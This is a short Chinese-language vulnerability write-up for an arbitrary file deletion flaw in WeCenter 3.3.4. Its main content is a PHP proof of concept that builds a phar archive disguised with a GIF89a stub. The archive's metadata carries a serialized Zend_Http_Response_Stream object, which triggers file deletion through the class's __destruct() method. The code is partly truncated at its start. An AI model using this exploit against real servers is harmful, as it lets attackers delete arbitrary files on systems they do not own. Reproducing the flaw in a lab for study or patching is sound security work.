002-WeCenter 3.3.4 任意文件删除

# WeCenter 3.3.4 任意文件删除

### 一、漏洞简介

### 二、漏洞影响

WeCenter 3.3.4

### 三、复现过程

任意文件删除

system/Zend/Http/Response/Stream.php:__destruct() 方法中存在任意文件删除。

![](/static/lingzu/images/15893802451792.png)

poc

“`php
_cleanup = true;
$this->stream_name = $stream_name;
}
}

$stream_name = ‘/var/www/html/wecenter334/shell.php’;
$evilobj = new Zend_Http_Response_Stream($stream_name);
// phar.readonly无法通过该语句进行设置: init_set(“phar.readonly”,0);
$filename = ‘poc.phar’;// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub(“GIF89a“);
$phar->setMetadata($evilobj);
$phar->addFromString(“foo.txt”,”bar”);
$phar->stopBuffering();

?>
“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容